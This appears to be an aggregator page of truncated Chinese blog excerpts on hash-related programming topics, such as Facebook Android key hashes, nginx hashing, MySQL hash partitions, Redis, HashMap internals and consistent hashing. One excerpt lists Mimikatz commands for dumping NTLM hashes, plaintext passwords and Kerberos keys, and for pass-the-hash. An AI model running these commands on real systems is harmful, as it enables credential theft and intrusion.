private void printHashKey() { try { PackageInfo info = getPackageManager().getPackageInfo( "xxx.xx.xxx.x", PackageManager.GET_SIGNATURES); for (Signature signature : info.signatures) { MessageDigest md = MessageDigest.getInstance("SHA"…

在接入FaceBook第三方登录的时候,需要获取Android Hash Key. Android Hash Key即密钥散列有两种,一种是开发秘钥散列,一种是发布秘钥散列.这里主要介绍如何获取开发秘钥散列Debug Android Hash Key. 步骤如下: 1.到https://code.google.com/archive/p/openssl-for-windows/downloads?authuser=1下载openssl-0.9.8k_X64.zip(电脑64位的),然后解压放在C…

"例如请求的url为http://www.a.com/{path_var1}/{path_var2}path_var1和path_var2是两个path variable如果现在只想根据path_var1来做路由,即path_var1相同的请求落在同一台服务器上,应当怎么配置呢?"如上同学问我的问题,我们都知道nginx的负载均衡,可以支持很多hash方式,对于指定url中的内容进行hash ,接下来我用一个场景来模拟: 1. 场景描述场景大概就是这样,当url请求过来时候,通过url…

.hash分区 PS::个人觉得HASH分区很好很强大,简单确分布极其均匀 创建实例: CREATE TABLE HASH_EMP ( tid int, tname ) ) PARTITION ; 将hash_emp进行的tid进行hash分区,并分为8个区 查询分区的数据分布情况: select partition_name,partition_expression,partition_description,table_rows from information_schema.partiti…

现象: 测试提了一个bug,我完全复现不了,但是最吊诡的是在其他人的机器上都可以复现.起初以为是SVN合并后出现的冲突,后来经过对比法排查: step 1: 我本地开两个jetty,一个跑合并之前的版本,一个跑合并之后的版本,数据库.redis配置都一样的,结果一致,由此可以推测应该不是代码的问题. step 2: 我电脑和别人电脑同样的配置.连的一个数据库,同样的代码.同样的数据,得到了两个结果,我这里是正常的,而且除了我其它人都可以复现,我喵了狗.... 我还一度以为是灵异现象....o(╯…

引言 在字符串类型的题目中,常常在解题的时候涉及到大量的字符串的两两比较,比如要统计某一个字符串出现的次数.如果每次比较都通过挨个字符比较的方式,那么毫无疑问是非常占用时间的,因此在一些情况下,我们可以将字符串本身作为hashmap的key,往往会大大节省时间. 这篇博文中涉及的另一个技巧,是使用窗口的思想,这种思想不单单在字符串类型的题目中使用.这个技巧简单说来就是维护两个int,start和end,作为窗口的左右端.在不断的向前移动end和start的时候,记录下窗口包含的最大长度和最小长度…

1. 之前只是非常简单的看了下 get key 和 set key 但是这样 设置的 key value 应该是都 string 类型的 2. 但是没考虑过其他类型的 是如何获取 相关内容的 ,一直 想当然了. 比如获取 非上下文所有的 key 的名字 keys M* 这里 * 应该是通配符 或者可以理解为是正则表达式. 注意是大小写敏感的 3. 注意看一下 这个key 的 类型 4. hash 类型的 key 进行获取的时候 是需要 其他方式来读取的 比如 hget 注意命令提示符 是 key…

Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话) sekurlsa::ekeys #获取kerberos加密凭证 Hash(Key)传递 Mimikatz sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递 sekurlsa::pt…

先 scan 原表,然后 bulkload 到新表. 采坑纪录1. bulkload 产生 hfile 前,需要先对 hash(key) 做 repartition,在 shuffle 的 read 阶段,产生了以下错误 org.apache.spark.shuffle.FetchFailedException: failed to allocate 16777216 byte(s) of direct memory (used: 3623878656, max: 3635150848) at…

近期做了facebook的分享功能,遇到了很多问题,这里总结一下,供大家参考,不足之处还请大家指正. facebook分享方式: 1.通过intent调用调用本地facebook应用方式 支持单独分享链接或图片 2.集成facebook SDK调用本地facebook应用方式(这个我掌握的不全,下面只是提供一些参考信息) 支持单独分享链接或图片 参考链接: http://www.eoeandroid.com/thread-311258-1-1.html http://blog.csdn.net/…

1.注册开发者账号 登陆facebook开发者平台 (https://developers.facebook.com/), 注册facebook开发者账号. 2.Facebook登录Key Hash配置 2.1.从 http://slproweb.com/products/Win32OpenSSL.html 获取,下载如图所示第一个即可. 将下载的软件安装到默认路径中,默认路径为C盘,运行cmd,在命令行中进入 openssl.exe的路径, 一般为 C:\OpenSSL-Win32\bin .…

官方教程地址: https://developers.facebook.com/docs/android/getting-started 开发环境为Android Studio,官方要求SDK最低版本为“API 15: Android 4.0.3”. 一.创建应用 1.激活账号 按照要求创建APP,生成appId. 注意:在填写APP名称的时候,不能包含任何有关facebook的名字或简写,否则无法通过. 2.配置Gradle文件 配置app下的build.gradle文件. 如下: //添加到…

哈希是 key/value 键/值对的集合. Perl中哈希变量以百分号 (%) 标记开始. 访问哈希元素格式:${key}. 以下是一个简单的哈希实例: 实例 #!/usr/bin/perl %data = ('google', 'google.com', 'runoob', 'runoob.com', 'taobao', 'taobao.com'); print "\$data{'google'} = $data{'google'}\n"; print "\$data{'…

很久以前看到一篇文章,讲某个大网站储存用户口令时,会经过十分复杂的处理.怎么个复杂记不得了,大概就是先 Hash,结果加上一些特殊字符再 Hash,结果再加上些字符.再倒序.再怎么怎么的.再 Hash...看的眼花缭乱. 当时心想这么复杂应该很安全了吧.事实上即使现在,仍有不少人是这么认为的.所以在储存账号口令时,经常会弄些千奇百怪的组合. 奇怪的算法有意义吗,在什么情况下能派上用场?是否有更简单合理的替代方案? 这问题先从拖库说起. 知道算法才能破解 数据库中的口令,都是以 Hash 形式储存…

在Kafak中国社区的qq群中,这个问题被提及的比例是相当高的,这也是Kafka用户最常碰到的问题之一.本文结合Kafka源码试图对该问题相关的因素进行探讨.希望对大家有所帮助.   怎么确定分区数?     “我应该选择几个分区?”——如果你在Kafka中国社区的群里,这样的问题你会经常碰到的.不过有些遗憾的是,我们似乎并没有很权威的答案能够解答这样的问题.其实这也不奇怪,毕竟这样的问题通常都是没有固定答案的.Kafka官网上标榜自己是"high-throughput distributed…

1.HashMap的内部实现机制 HashMap是对数据结构中哈希表(Hash Table)的实现,Hash表又叫散列表.Hash表是根据关键码Key来访问其对应的值Value的数据结构,它通过一个映射函数把关键码映射到表中一个位置来访问该位置的值,从而加快查找的速度.这个映射函数叫做Hash函数,存放记录的数组叫做Hash表. 在Java中,HashMap的内部实现结合了链表和数组的优势,链接节点的数据结构是Entry<k,v>,每个Entry对象的内部又含有指向下一个Entry类型对象的引…

哈希表(Hash Table)是一种特殊的数据结构,它最大的特点就是可以快速实现查找.插入和删除.因为它独有的特点,Hash表经常被用来解决大数据问题,也因此被广大的程序员所青睐.为了能够更加灵活地使用Hash来提高我们的代码效率,今天,我们就谈一谈Hash的那点事. 1. 哈希表的基本思想 我们知道,数组的最大特点就是:寻址容易,插入和删除困难:而链表正好相反,寻址困难,而插入和删除操作容易.那么如果能够结合两者的优点,做出一种寻址.插入和删除操作同样快速容易的数据结构,那该有多好.这就是哈希…

1. 最近邻法的应用 1.1 Jaccard 相似集 如何定义相似:即相关属性交集的大小,越大则越相似.我们给相似一个数学上的定义:Jaccard 相似集. 集合 \(S\) 与集合 \(T\) 的 Jaccard 集合被定义为 \(|S \cap T|/|S \cup T|\),即它们交集与并集的大小之比.我们简单地定义为\(SIM(S,T)\)  1.2 文件的相似度 大范围内搜索内容相似的文本是相似度分析的一个非常重要的应用: 查找剽窃,即相似度查询 网站针对不同主机的镜像页面维护 查找…

hash算法的意义在于提供了一种快速存取数据的方法,它用一种算法建立键值与真实值之间的对应关系,(每一个真实值只能有一个键值,但是一个键值可以对应多个真实值),这样可以快速在数组等条件中里面存取数据.     在网上看了不少HASH资料,所以对HASH的相关资料进行总结和收集.   //HashTable.h template class HashTable{ public : HashTable( int count ) ; void put( T* t ,int key ) ; T* get…

在PHP中,除了zval, 另一个比较重要的数据结构非hash table莫属,例如我们最常见的数组,在底层便是hash table.除了数组,在线程安全(TSRM).GC.资源管理.Global变量.ini配置管理中,几乎都有Hash table的踪迹(上一次我们也提到,符号表也是使用Hash table实现的).那么,在PHP中,这种数据有什么特殊之处,结构是怎么实现的? 带着这些问题,我们开始本次的内核探索之旅. 本文主要内容: Hash table的基本介绍 PHP底层Hash tabl…

大家都知道,HashMap的是key-value(键值对)组成的,这个key既可以是基本数据类型对象,如Integer,Float,同时也可以是自己编写的对象,那么问题来了,这个作为key的对象是否能够改变呢?或者说key能否是一个可变的对象?如果可以该HashMap会怎么样? 可变对象 可变对象是指创建后自身状态能改变的对象.换句话说,可变对象是该对象在创建后它的哈希值(由类的hashCode()方法可以得出哈希值)可能被改变. 为了能直观的看出哈希值的改变,下面编写了一个类,同时重写了该类的…

哈希表最关键的几个方面有: 通过key访问(通过哈希函数计算出key) 映射到数据结构中(哈希表本身的存储结构) 映射的处理(冲突或者碰撞检测和处理函数) 理解PHP的哈希算法 一般来说对于整形索引进行哈希我们很容易想到的是取模运算,比如array(1=>'a', 2=>'b', 3=>'c'),这类我们可以使用index%3来哈希,不过PHP数组的下标还有更灵活的array('a'='c', 'b'=>'d'),此时选择什么哈希函数?答案是DJBX33A算法. PS:DJBX33…

文章来源:http://www.cnblogs.com/huxi2b/p/4583249.html ----------------------------------------------------------------------------------------- 在Kafak中国社区的qq群中,这个问题被提及的比例是相当高的,这也是Kafka用户最常碰到的问题之一.本文结合Kafka源码试图对该问题相关的因素进行探讨.希望对大家有所帮助.   怎么确定分区数?     “我应该选…

Java的Object类中有一个hashCode()方法: public final native Class<?> getClass(); public native int hashCode(); public boolean equals(Object obj) { return (this == obj); } public String toString() { return getClass().getName() + "@" + Integer.toHexSt…

一.简介: 一致性hash算法提出了在动态变化的Cache环境中,判定哈希算法好坏的四个定义: 1.平衡性(Balance) 2.单调性(Monotonicity) 3.分散性(Spread) 4.负载(Load) 普通的哈希算法(也称硬哈希)采用简单取模的方式,将机器进行散列,这在cache环境不变的情况下能取得让人满意的结果,但是当cache环境动态变化时,这种静态取模的方式显然就不满足单调性的要求(当增加或减少一台机子时,几乎所有的存储内容都要被重新散列到别的缓冲区中). 一致性哈希算法的…

HashMap 和 HashSet 是 Java Collection Framework 的两个重要成员,其中 HashMap 是 Map 接口的常用实现类,HashSet 是 Set 接口的常用实现类.虽然 HashMap 和 HashSet 实现的接口规范不同,但它们底层的 Hash 存储机制完全一样,甚至 HashSet 本身就采用 HashMap 来实现的. 通过 HashMap.HashSet 的源代码分析其 Hash 存储机制 实际上,HashSet 和 HashMap 之间有很多…

HashMap 中hash table 定位算法: int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); 其中indexFor和hash源码如下: /** * Applies a supplemental hash function to a given hashCode, which * defends against poor quality hash functions. This is critica…

像Memcache以及其它一些内存K/V数据库一样,Redis本身不提供分布式支持,所以在部署多台Redis服务器时,就需要解决如何把数据分散到各个服务器的问题,并且在服务器数量变化时,能做到最大程度的不令数据重新分布. 通常使用的分布式方法是根据所要存储数据的键的hash值与服务器数量N,按 hash % N 取模的算法来将数据分布到各个服务器.该算法的优点是足够简单,而且数据分布均匀.但是一旦服务器数量N发生变化的时候,缓存命中率会瞬间跌入谷底,因为 绝大多数的数据需要重新分布.而且对于大型…

Hash哈希(一) 哈希是大家比较常见一个词语,在编程中也经常用到,但是大多数人都是知其然而不知其所以然,再加上这几天想写一个一致性哈希算法,突然想想对哈希也不是很清楚,所以,抽点时间总结下Hash知识.本文参考了很多博文,感谢大家的无私分享. 基本概念 Hash,一般翻译做“散列”,也有直接音译为“哈希”的.那么哈希函数的是什么样的?大概就是 value = hash(key),我们希望key和value之间是唯一的映射关系. 大家使用的最多的就是哈希表(Hash table,也叫散列表),是…

/*-----------------------------------------------------------------------------**   hash.c****   Implementation of a simple Hash Table for string storage & retrieval****   Written by L. Rossman**   Last Updated on 6/19/03****   The hash table data st…